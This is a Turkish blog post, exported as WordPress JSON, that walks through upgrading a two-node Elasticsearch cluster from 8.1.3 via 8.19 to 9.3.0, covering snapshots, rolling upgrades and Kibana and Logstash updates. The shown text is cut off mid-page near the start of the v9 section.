{"id":775,"date":"2026-02-20T15:50:00","date_gmt":"2026-02-20T12:50:00","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=775"},"modified":"2026-04-07T11:25:50","modified_gmt":"2026-04-07T08:25:50","slug":"elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/tr\/elasticsearch-8-1-3ten-9-3-0a-yukseltme-rehberi-adim-adim-versiyon-gecis-stratejisi\/","title":{"rendered":"Elasticsearch 8.1.3&#8217;ten 9.3.0&#8217;a Y\u00fckseltme Rehberi: Ad\u0131m Ad\u0131m Versiyon Ge\u00e7i\u015f Stratejisi"},"content":{"rendered":"\n<p>Elasticsearch cluster\u2019\u0131n\u0131z\u0131 8.1.3 gibi eski bir s\u00fcr\u00fcmden 9.3.0 nesline ta\u015f\u0131mak, s\u0131radan bir g\u00fcncelleme de\u011fil; veri motorunun (Lucene), g\u00fcvenlik protokollerinin ve k\u00fcme y\u00f6netiminin evrimle\u015fmesidir. Bu rehberde, 2 Node&#8217;lu bir yap\u0131da s\u0131f\u0131r veri kayb\u0131 hedefleyerek uygulad\u0131\u011f\u0131m\u0131z <strong>&#8220;Bridge Upgrade&#8221; (K\u00f6pr\u00fc Y\u00fckseltme)<\/strong> stratejisini inceliyoruz.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 1: Operasyon \u00d6ncesi Haz\u0131rl\u0131k ve &#8220;Veri Sigortas\u0131&#8221; (Snapshot)<\/h2>\n\n\n\n<p>Sistem y\u00f6neticili\u011finde &#8220;deneme-yan\u0131lma&#8221; veri katman\u0131nda yap\u0131lmaz. Maj\u00f6r ge\u00e7i\u015flerde geri d\u00f6n\u00fc\u015f\u00fcn tek yolu fiziksel ve mant\u0131ksal yedeklemedir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.1. Cluster Sa\u011fl\u0131k Kontrol\u00fc (Health Check)<\/h3>\n\n\n\n<p>Upgrade maratonuna ba\u015flamadan \u00f6nce, k\u00fcmenizin nefes al\u0131\u015f\u0131n\u0131 kontrol etmelisiniz. E\u011fer cluster durumunuz &#8220;Yellow&#8221; veya &#8220;Red&#8221; ise, sorunu \u00e7\u00f6zmeden asla bir \u00fcst s\u00fcr\u00fcme ge\u00e7meyin.<\/p>\n\n\n\n<p><strong>Terminal \u00fczerinden kontrol:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cluster\/health?pretty\"<\/code><\/pre>\n\n\n\n<p>Burada g\u00f6rmeniz gereken tek de\u011fer <strong>&#8220;status&#8221;: &#8220;green&#8221;<\/strong> olmal\u0131d\u0131r.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.2. Fiziksel Yedekleme Dizinini Tan\u0131mlama (path.repo)<\/h3>\n\n\n\n<p>Multi-node (\u00e7oklu d\u00fc\u011f\u00fcm) mimarilerde en kritik nokta, t\u00fcm node&#8217;lar\u0131n ayn\u0131 yedekleme dizinine eri\u015febilmesidir. Biz bu senaryoda, kurumsal standartlara uygun olarak her iki node&#8217;a da mount edilmi\u015f <strong>payla\u015f\u0131ml\u0131 bir disk alan\u0131<\/strong> (NFS, SAN veya Shared Disk) kullan\u0131yoruz.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/oraclius.com.tr\/tr\/vmware-workstationda-paylasimli-disk-shared-disk-kurulumu-adim-adim-rehber\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">VMware Workstation\u2019da Ortak Disk (NAS) Yap\u0131land\u0131rma Rehberi<\/a><\/div>\n<\/div>\n\n\n\n<p><strong>Her iki node \u00fczerinde de<\/strong> \u015fu ad\u0131mlar\u0131 izleyin:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Dizini Olu\u015fturun ve Yetki Verin:<\/strong><\/li>\n<\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>mkdir -p \/data\/elasticsearch\/backup\nchown -R elasticsearch:elasticsearch \/data\/elasticsearch\/backup<\/code><\/pre>\n\n\n\n<p>2. <strong>\/etc\/elasticsearch\/elasticsearch.yml Dosyas\u0131n\u0131 G\u00fcncelleyin:<\/strong> Dosyan\u0131n en alt\u0131na \u015fu sat\u0131r\u0131 ekleyin. Bu ayar olmadan Elasticsearch g\u00fcvenlik gere\u011fi yedekleme i\u015flemini reddedecektir.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Snapshot repository dizini tan\u0131mlama\npath.repo: &#91;\"\/data\/elasticsearch\/backup\"]<\/code><\/pre>\n\n\n\n<p>3. <strong>Servisleri Restart Edin:<\/strong> Ayarlar\u0131n okunmas\u0131 i\u00e7in node&#8217;lar\u0131 s\u0131rayla yeniden ba\u015flat\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>systemctl restart elasticsearch.service<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.3. Snapshot Repository: Dijital Sigortan\u0131z<\/h3>\n\n\n\n<p>\u015eimdi Elasticsearch&#8217;e bu fiziksel dizini bir &#8220;mant\u0131ksal repository&#8221; olarak tan\u0131tal\u0131m.<\/p>\n\n\n\n<p><strong>Kibana Dev Tools \u00fczerinden:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PUT \/_snapshot\/full_backup_repo\n{\n  \"type\": \"fs\",\n  \"settings\": {\n    \"location\": \"\/data\/elasticsearch\/backup\",\n    \"compress\": true\n  }\n}<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1.4. Tam Yedekleme (Full Snapshot) Ba\u015flatma<\/h3>\n\n\n\n<p>\u015eimdi, 8.1.3 versiyonundaki t\u00fcm verilerimizi koruma alt\u0131na al\u0131yoruz. Bu i\u015flem, maj\u00f6r s\u00fcr\u00fcm y\u00fckseltmesindeki en b\u00fcy\u00fck can simidimizdir.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PUT \/_snapshot\/full_backup_repo\/pre_upgrade_snapshot?wait_for_completion=true\n{\n  \"indices\": \"*\",\n  \"ignore_unavailable\": true,\n  \"include_global_state\": true\n}<\/code><\/pre>\n\n\n\n<p><strong>Kritik Not:<\/strong> <code>wait_for_completion=true<\/code> parametresi hayati \u00f6nem ta\u015f\u0131r. Bu sayede yedekleme i\u015flemi bitene kadar terminal oturumu kapanmaz ve i\u015flemin sonunda <code>\"state\": \"SUCCESS\"<\/code> ibaresini g\u00f6rmeden bir sonraki a\u015famaya (paket g\u00fcncellemesine) ge\u00e7menizi engeller.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 2: Ara Durak Stratejisi \u2013 8.19.x K\u00f6pr\u00fcs\u00fc<\/h2>\n\n\n\n<p>Elasticsearch d\u00fcnyas\u0131nda 8.x s\u00fcr\u00fcm\u00fcnden 9.x s\u00fcr\u00fcm\u00fcne ge\u00e7mek, sadece yeni \u00f6zellikler kazanmak de\u011fil, altyap\u0131daki veri motorunun (Lucene) standartlar\u0131n\u0131 tamamen de\u011fi\u015ftirmek demektir. 8.1.3 s\u00fcr\u00fcm\u00fc ile 9.3.0 aras\u0131nda ciddi bir &#8220;versiyon bo\u015flu\u011fu&#8221; bulunur ve bu bo\u015flu\u011fu do\u011frudan atlamaya \u00e7al\u0131\u015fmak k\u00fcme b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc (cluster integrity) bozabilir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.1. Neden Do\u011frudan Ge\u00e7i\u015f Yap\u0131lamaz? (Lucene Uyumlulu\u011fu)<\/h3>\n\n\n\n<p>Elasticsearch 9.3.0, kendinden bir \u00f6nceki maj\u00f6r s\u00fcr\u00fcm\u00fcn (8.x) sadece en g\u00fcncel haliyle optimize edilmi\u015f indexlerini hatas\u0131z okuyabilir. 8.19.x s\u00fcr\u00fcm\u00fc, 8.x serisinin &#8220;final&#8221; noktas\u0131d\u0131r ve 9.x nesline ge\u00e7i\u015f i\u00e7in gereken <strong>Upgrade Assistant<\/strong> arac\u0131n\u0131n en geli\u015fmi\u015f versiyonunu bar\u0131nd\u0131r\u0131r.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Stratejimiz:<\/strong> 8.1.3 \u2794 <strong>8.19.x (K\u00f6pr\u00fc)<\/strong> \u2794 9.3.0<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2. Rolling Upgrade (Kesintisiz G\u00fcncelleme) Nedir?<\/h3>\n\n\n\n<p>Sistemimizi kapatmadan, kullan\u0131c\u0131lar\u0131m\u0131z\u0131 \u00fczmeden g\u00fcncelleme yapmak i\u00e7in <strong>&#8220;Rolling Upgrade&#8221;<\/strong> y\u00f6ntemini izleyece\u011fiz. Bu y\u00f6ntemde node&#8217;lar\u0131 teker teker g\u00fcncelleyece\u011fiz:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Node-2&#8217;yi durdur<\/strong> ve g\u00fcncelle.<\/li>\n\n\n\n<li><strong>Node-2&#8217;yi cluster&#8217;a dahil et<\/strong> ve verilerin senkronize olmas\u0131n\u0131 bekle.<\/li>\n\n\n\n<li>Ayn\u0131 i\u015flemi <strong>Node-1<\/strong> i\u00e7in tekrarla.<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3. Ad\u0131m Ad\u0131m 8.19.x G\u00fcncellemesi (Uygulama Faz\u0131)<\/h3>\n\n\n\n<p>1. Shard Allocation&#8217;\u0131 Devre D\u0131\u015f\u0131 B\u0131rak\u0131n ve Bellekteki verileri diske kal\u0131c\u0131 olarak yaz:<\/p>\n\n\n\n<p>Node-2&#8217;yi kapatt\u0131\u011f\u0131m\u0131zda Master&#8217;\u0131n (Node-1) &#8220;Eyvah, bir node gitti! Verileri hemen kopyalamal\u0131y\u0131m!&#8221; diyerek network ve disk trafi\u011fini yormas\u0131n\u0131 istemiyoruz. Sadece ana verilerin (primary) \u00e7al\u0131\u015fmas\u0131na izin verip kopyalamay\u0131 durduruyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Shard allocation k\u0131s\u0131tla (Sadece primary shard'lara izin ver)\ncurl -X PUT \"localhost:9200\/_cluster\/settings?pretty\" -H 'Content-Type: application\/json' -d'\n{\n  \"persistent\": {\n    \"cluster.routing.allocation.enable\": \"primaries\"\n  }\n}'\n\n# Bellekteki verileri diske kal\u0131c\u0131 olarak yaz\ncurl -X POST \"localhost:9200\/_flush?pretty\"<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>2. Node-2&#8217;yi G\u00fcncelleyin (\u00d6nce Slave Node):<\/strong> Node-2 \u00fczerinde Elasticsearch servisini durdurun ve 8.17.x paketini kurun:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Servisi nazik\u00e7e durdurun\nsudo systemctl stop elasticsearch\n\n# 8.19.x paketini indirin ve kurun\nwget https:\/\/artifacts.elastic.co\/downloads\/elasticsearch\/elasticsearch-8.19.0-x86_64.rpm\nsudo rpm -Uvh elasticsearch-8.19.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<p>&#8220;Exit Code 78&#8221; hatas\u0131n\u0131n burada kar\u015f\u0131m\u0131za \u00e7\u0131kmas\u0131 muhtemeldir. \u0130\u015fi \u015fansa b\u0131rakmadan yetkileri verelim:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo chown -R elasticsearch:elasticsearch \/etc\/elasticsearch\/\nsudo chown elasticsearch:elasticsearch \/etc\/elasticsearch\/elasticsearch.keystore\nsudo chmod 660 \/etc\/elasticsearch\/elasticsearch.keystore<\/code><\/pre>\n\n\n\n<p>3. Kritik Sistem Ayarlar\u0131 (Timeout ve RAM Y\u00f6netimi)<\/p>\n\n\n\n<p>Burada iki b\u00fcy\u00fck engelle kar\u015f\u0131la\u015fabiliriz: <strong>Timeout<\/strong> ve <strong>Exit Code 137 (OOM Killer)<\/strong>. Bunlar\u0131 \u00f6nceden \u00e7\u00f6zmeliyiz.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Timeout Ayar\u0131:<\/strong> Yeni versiyon ilk a\u00e7\u0131l\u0131\u015fta eski indexleri tarayaca\u011f\u0131 i\u00e7in 90 saniyelik standart a\u00e7\u0131l\u0131\u015f s\u00fcresi yetmeyebilir. S\u00fcreyi 10 dakikaya \u00e7\u0131karal\u0131m:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl edit elasticsearch\n# A\u00e7\u0131lan dosyaya \u015fu iki sat\u0131r\u0131 g\u00fcncelleyin ve kaydedin:\n&#91;Service]\nTimeoutStartSec=600\nNotifyAccess=all<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>JVM Heap Size Ayar\u0131:<\/strong> E\u011fer sunucunuzun RAM&#8217;i k\u0131s\u0131tl\u0131ysa, <code>\/etc\/elasticsearch\/jvm.options<\/code> dosyas\u0131n\u0131 kontrol edin. Toplam RAM&#8217;in %50&#8217;sinden fazlas\u0131n\u0131 ay\u0131rmad\u0131\u011f\u0131n\u0131zdan emin olun (\u00d6rn: 8GB RAM i\u00e7in <code>-Xms4g -Xmx4g<\/code>).<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">4. Servisi Ba\u015flatma ve Manuel Debug<\/h4>\n\n\n\n<p>Servisi ba\u015flat\u0131rken arka planda neler d\u00f6nd\u00fc\u011f\u00fcn\u00fc canl\u0131 g\u00f6rmek i\u00e7in manuel ba\u015flatma y\u00f6ntemini tercih edebilirsiniz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u00d6nce systemd'yi yenileyin\nsudo systemctl daemon-reload\n\n# Hatalar\u0131 canl\u0131 izlemek i\u00e7in manuel ba\u015flatma (Opsiyonel ama tavsiye edilir)\nsudo -u elasticsearch \/usr\/share\/elasticsearch\/bin\/elasticsearch<\/code><\/pre>\n\n\n\n<p>Loglarda <code>[Node-2] started<\/code> yaz\u0131s\u0131n\u0131 g\u00f6rd\u00fc\u011f\u00fcn\u00fczde, node 8.19.x s\u00fcr\u00fcm\u00fcyle hizmete haz\u0131r demektir.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">5. Shard Allocation&#8217;\u0131 Tekrar A\u00e7\u0131n<\/h4>\n\n\n\n<p>Node-2 aya\u011fa kalkt\u0131\u011f\u0131nda, k\u0131s\u0131tlamay\u0131 kald\u0131rarak cluster&#8217;\u0131n verileri senkronize etmesine izin veriyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X PUT \"localhost:9200\/_cluster\/settings?pretty\" -H 'Content-Type: application\/json' -d'\n{\n  \"persistent\": {\n    \"cluster.routing.allocation.enable\": null\n  }\n}'<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">6. KR\u0130T\u0130K ADIM: Recovery (\u0130yile\u015fme) Takibi<\/h4>\n\n\n\n<p>&#8220;Wait for the node to recover&#8221; k\u0131sm\u0131n\u0131 buradan izliyoruz. Shard&#8217;lar v9 format\u0131na uyum sa\u011flarken bu ad\u0131m\u0131 bitirmeden ba\u015fka bir i\u015flem yapma:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># 1. Cluster sa\u011fl\u0131\u011f\u0131n\u0131 izle (status 'yellow' veya 'green' olmal\u0131)\ncurl -X GET \"localhost:9200\/_cat\/health?v\"\n\n# 2. Shard recovery durumunu detayl\u0131 g\u00f6r\ncurl -X GET \"localhost:9200\/_cat\/recovery?v&amp;active_only=true\"<\/code><\/pre>\n\n\n\n<p>E\u011fer <code>active_only=true<\/code> komutu bo\u015f d\u00f6n\u00fcyorsa, t\u00fcm shard&#8217;lar ba\u015far\u0131yla v9.3.0 \u00fczerinde kurtar\u0131lm\u0131\u015f demektir.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">7. Son Kontroller<\/h4>\n\n\n\n<p>&#8220;G\u00fcncelleme sonras\u0131 sadece loglara g\u00fcvenmeyin; cluster&#8217;\u0131n yeni s\u00fcr\u00fcm\u00fc ger\u00e7ekten tan\u0131y\u0131p tan\u0131mad\u0131\u011f\u0131n\u0131 API \u00fczerinden do\u011frulay\u0131n. <code>_cat\/nodes<\/code> \u00e7\u0131kt\u0131s\u0131nda Node-2&#8217;nin kar\u015f\u0131s\u0131nda <strong>8.19.0<\/strong> yaz\u0131s\u0131n\u0131 g\u00f6rmek, bir sonraki node&#8217;a ge\u00e7mek i\u00e7in en g\u00fcvenli ye\u015fil \u0131\u015f\u0131kt\u0131r.&#8221;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cat\/nodes?v&amp;h=name,version,node.role,master,status\"\nname     version node.role master\nelastic1 8.1.3   dimr      *\nelastic2 8.19.0  dir       -<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -X GET \"localhost:9200\/_cluster\/health?pretty\"\n{\n  \"cluster_name\" : \"elastic-cluster\",\n  \"status\" : \"green\",\n  \"timed_out\" : false,\n  \"number_of_nodes\" : 2,\n  \"number_of_data_nodes\" : 2,\n  \"active_primary_shards\" : 20,\n  \"active_shards\" : 40,\n  \"relocating_shards\" : 0,\n  \"initializing_shards\" : 0,\n  \"unassigned_shards\" : 0,\n  \"unassigned_primary_shards\" : 0,\n  \"delayed_unassigned_shards\" : 0,\n  \"number_of_pending_tasks\" : 0,\n  \"number_of_in_flight_fetch\" : 0,\n  \"task_max_waiting_in_queue_millis\" : 0,\n  \"active_shards_percent_as_number\" : 100.0\n}<\/code><\/pre>\n\n\n\n<p>7: Manuelden Servis Moduna Ge\u00e7i\u015f<\/p>\n\n\n\n<p>E\u011fer terminalde hala loglar ak\u0131yorsa <code>CTRL + C<\/code> ile durdur. E\u011fer terminali \u00e7oktan kapatt\u0131ysan ama arka planda \u00e7al\u0131\u015f\u0131yorsa \u015fu komutla s\u00fcreci bul ve bitir:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Elasticsearch'\u00fcn PID'sini (kimlik numaras\u0131) bul ve durdur\nps -ef | grep elasticsearch | grep -v grep | awk '{print $2}' | xargs -r sudo kill -9<\/code><\/pre>\n\n\n\n<p>Manuel ba\u015flat\u0131rken bazen dosya sahiplikleri de\u011fi\u015febilir. Servis olarak \u00e7al\u0131\u015fmas\u0131 i\u00e7in her \u015feyin <code>elasticsearch<\/code> kullan\u0131c\u0131s\u0131na ait oldu\u011fundan emin olal\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo chown -R elasticsearch:elasticsearch \/var\/lib\/elasticsearch\nsudo chown -R elasticsearch:elasticsearch \/var\/log\/elasticsearch\nsudo chown -R elasticsearch:elasticsearch \/etc\/elasticsearch\nsudo chown -R elasticsearch:elasticsearch \/usr\/share\/elasticsearch<\/code><\/pre>\n\n\n\n<p>\u015eimdi i\u015fletim sistemine &#8220;Elasticsearch&#8217;\u00fc sen y\u00f6net&#8221; diyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Yap\u0131land\u0131rmay\u0131 yenile\nsudo systemctl daemon-reload\n\n# Ba\u015flang\u0131\u00e7ta otomatik \u00e7al\u0131\u015fmas\u0131 i\u00e7in etkinle\u015ftir\nsudo systemctl enable elasticsearch\n\n# Servis olarak ba\u015flat\nsudo systemctl start elasticsearch<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.4. Master Node (Node-1) \u0130\u00e7in S\u00fcreci Tekrarlay\u0131n<\/h3>\n\n\n\n<p>\u00d6nceki ad\u0131mda <code>elastic2<\/code> (data node) i\u00e7in yapt\u0131klar\u0131n\u0131n <strong>aynen ayn\u0131s\u0131n\u0131<\/strong> \u015fimdi <code>elastic1<\/code> (master node) i\u00e7in de uyguluyoruz. Elasticsearch mimarisinde &#8220;y\u00fckseltme&#8221; mant\u0131\u011f\u0131 rollerden ba\u011f\u0131ms\u0131zd\u0131r.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 3: Elastic Stack&#8217;te Uyumun G\u00fcc\u00fc \u2013 Kibana ve Logstash v8.19 Upgrade Rehberi<\/h2>\n\n\n\n<p>Elasticsearch\u2019\u00fc v8.19 s\u00fcr\u00fcm\u00fcne ba\u015far\u0131yla y\u00fckselttikten sonra (B\u00f6l\u00fcm 2&#8217;de yapt\u0131\u011f\u0131m\u0131z gibi), s\u0131ra ekosistemin di\u011fer iki devine geldi: <strong>Kibana<\/strong> ve <strong>Logstash<\/strong>. Unutulmamal\u0131d\u0131r ki; Elasticsearch her zaman stack i\u00e7erisindeki en y\u00fcksek s\u00fcr\u00fcme sahip olmal\u0131 veya di\u011fer bile\u015fenlerle ayn\u0131 s\u00fcr\u00fcmde tutulmal\u0131d\u0131r.<\/p>\n\n\n\n<p>Bu yaz\u0131da, v8.1.3 s\u00fcr\u00fcm\u00fcnden v8.19 s\u00fcr\u00fcm\u00fcne g\u00fcvenli ge\u00e7i\u015f prosed\u00fcrlerini ad\u0131m ad\u0131m inceleyece\u011fiz.<\/p>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/kibana-8-19-0\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Kibana 8.19.0<\/a><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-buttons is-content-justification-center is-layout-flex wp-container-core-buttons-is-layout-a89b3969 wp-block-buttons-is-layout-flex\">\n<div class=\"wp-block-button\"><a class=\"wp-block-button__link wp-element-button\" href=\"https:\/\/www.elastic.co\/downloads\/past-releases\/logstash-8-19-0\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Logstash 8.19.0<\/a><\/div>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\">3.1. Kibana Y\u00fckseltme (8.1.3 \u2192 8.19)<\/h3>\n\n\n\n<p>Kibana, Elasticsearch ile do\u011frudan konu\u015fan g\u00f6rselle\u015ftirme aray\u00fcz\u00fcd\u00fcr. Versiyon fark\u0131 olu\u015ftu\u011funda &#8220;Version Mismatch&#8221; hatalar\u0131 ka\u00e7\u0131n\u0131lmazd\u0131r.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">A. Servis Durdurma ve Yedekleme<\/h4>\n\n\n\n<p>\u0130\u015fleme ba\u015flamadan \u00f6nce mevcut servisleri durduruyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop kibana<\/code><\/pre>\n\n\n\n<p>Not: Kibana&#8217;n\u0131n kendi veri dizini yoktur, t\u00fcm ayarlar\u0131 Elasticsearch i\u00e7indeki <code>.kibana<\/code> indekslerinde tutulur. Bu y\u00fczden Elasticsearch yede\u011finizin olmas\u0131 Kibana&#8217;n\u0131n da g\u00fcvende olmas\u0131 demektir.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">B. Paket G\u00fcncelleme<\/h4>\n\n\n\n<p>Repo \u00fczerinden veya RPM paketleri ile g\u00fcncellemeyi ba\u015flat\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -Uvh kibana-8.19.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">C: Servisi Ba\u015flatma ve Log Takibi<\/h4>\n\n\n\n<p>Yeni binary dosyalar\u0131n\u0131 tan\u0131t\u0131p servisi aya\u011fa kald\u0131ral\u0131m. Kibana ilk a\u00e7\u0131l\u0131\u015fta baz\u0131 sistem indekslerini optimize edebilir:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl start kibana\nsudo journalctl -u kibana -f<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.2. Logstash Y\u00fckseltme (8.1.3 \u2192 8.19)<\/h3>\n\n\n\n<p>Logstash, veri boru hatt\u0131n\u0131zd\u0131r (pipeline). Bu ad\u0131mda en kritik nokta, veri kayb\u0131n\u0131 \u00f6nlemek i\u00e7in mevcut ak\u0131\u015f\u0131n (ingest) d\u00fczg\u00fcn kapat\u0131lmas\u0131d\u0131r.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">A. Servis Durdurma<\/h4>\n\n\n\n<p>\u0130\u015fleme ba\u015flamadan \u00f6nce mevcut servisleri durduruyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl stop logstash<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">B. Paket G\u00fcncelleme<\/h4>\n\n\n\n<p>Repo \u00fczerinden veya RPM paketleri ile g\u00fcncellemeyi ba\u015flat\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo rpm -Uvh logstash-8.19.0-x86_64.rpm<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">C: Servisi Ba\u015flatma ve Log Takibi<\/h4>\n\n\n\n<p>Yeni binary dosyalar\u0131n\u0131 tan\u0131t\u0131p servisi aya\u011fa kald\u0131ral\u0131m. Kibana ilk a\u00e7\u0131l\u0131\u015fta baz\u0131 sistem indekslerini optimize edebilir:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl daemon-reload\nsudo systemctl start logstash\nsudo journalctl -u logstash -f<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\ud83d\udd0d Upgrade Sonras\u0131 Kritik Kontroller<\/h4>\n\n\n\n<p>T\u00fcm Stack 8.19.0 olduktan sonra v9&#8217;a ge\u00e7meden \u00f6nce \u015fu 3 noktay\u0131 mutlaka kontrol edin:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Versiyon Kontrol\u00fc:<\/strong> <code>curl -X GET \"localhost:9200\"<\/code> ile ES s\u00fcr\u00fcm\u00fcn\u00fc, Kibana aray\u00fcz\u00fcnde &#8220;About&#8221; k\u0131sm\u0131ndan Kibana s\u00fcr\u00fcm\u00fcn\u00fc teyit edin.<\/li>\n\n\n\n<li><strong>Cluster Health:<\/strong> <code>_cat\/health<\/code> \u00fczerinden durumun <code>green<\/code> veya <code>yellow<\/code> oldu\u011funu g\u00f6r\u00fcn.<\/li>\n\n\n\n<li><strong>Upgrade Assistant:<\/strong> Kibana i\u00e7erisinde <strong>Stack Management > Upgrade Assistant<\/strong> men\u00fcs\u00fcne gidin. Buras\u0131 size v9.x&#8217;e ge\u00e7i\u015f i\u00e7in &#8220;Critical&#8221; veya &#8220;Warning&#8221; veren t\u00fcm maddeleri listeleyecektir.<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 4: B\u00fcy\u00fck D\u00f6n\u00fc\u015f\u00fcm Ba\u015fl\u0131yor \u2013 Elasticsearch v9.x Upgrade<\/h2>\n\n\n\n<p>8.19.0 dura\u011f\u0131nda t\u00fcm haz\u0131rl\u0131klar\u0131m\u0131z\u0131 tamamlad\u0131k. \u015eimdi sistemin kalbi olan Elasticsearch&#8217;\u00fc v9.x s\u00fcr\u00fcm\u00fcne ta\u015f\u0131yoruz. Bu a\u015fama, v8 serisine veda etti\u011fimiz ve v9&#8217;un getirdi\u011fi performans iyile\u015ftirmelerine (Synthetic Source, Vector Search geli\u015ftirmeleri vb.) kap\u0131 a\u00e7t\u0131\u011f\u0131m\u0131z yerdir.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.1: Upgrade Assistant Kontrol\u00fc<\/h3>\n\n\n\n<p>Y\u00fckseltme i\u015flemine ba\u015flamadan \u00f6nce Kibana \u00fczerinden <strong>Stack Management > Upgrade Assistant<\/strong> men\u00fcs\u00fcne giriyoruz. Bu ara\u00e7, v9&#8217;a ge\u00e7i\u015fte &#8220;\u00f6l\u00fcmc\u00fcl&#8221; bir engel olup olmad\u0131\u011f\u0131n\u0131 denetler.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure data-wp-context=\"{&quot;imageId&quot;:&quot;69f63ce11ca37&quot;}\" data-wp-interactive=\"core\/image\" data-wp-key=\"69f63ce11ca37\" class=\"wp-block-image size-large wp-lightbox-container\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"770\" data-wp-class--hide=\"state.isContentHidden\" data-wp-class--show=\"state.isContentVisible\" data-wp-init=\"callbacks.setButtonStyles\" data-wp-on--click=\"actions.showLightbox\" data-wp-on--load=\"callbacks.setButtonStyles\" 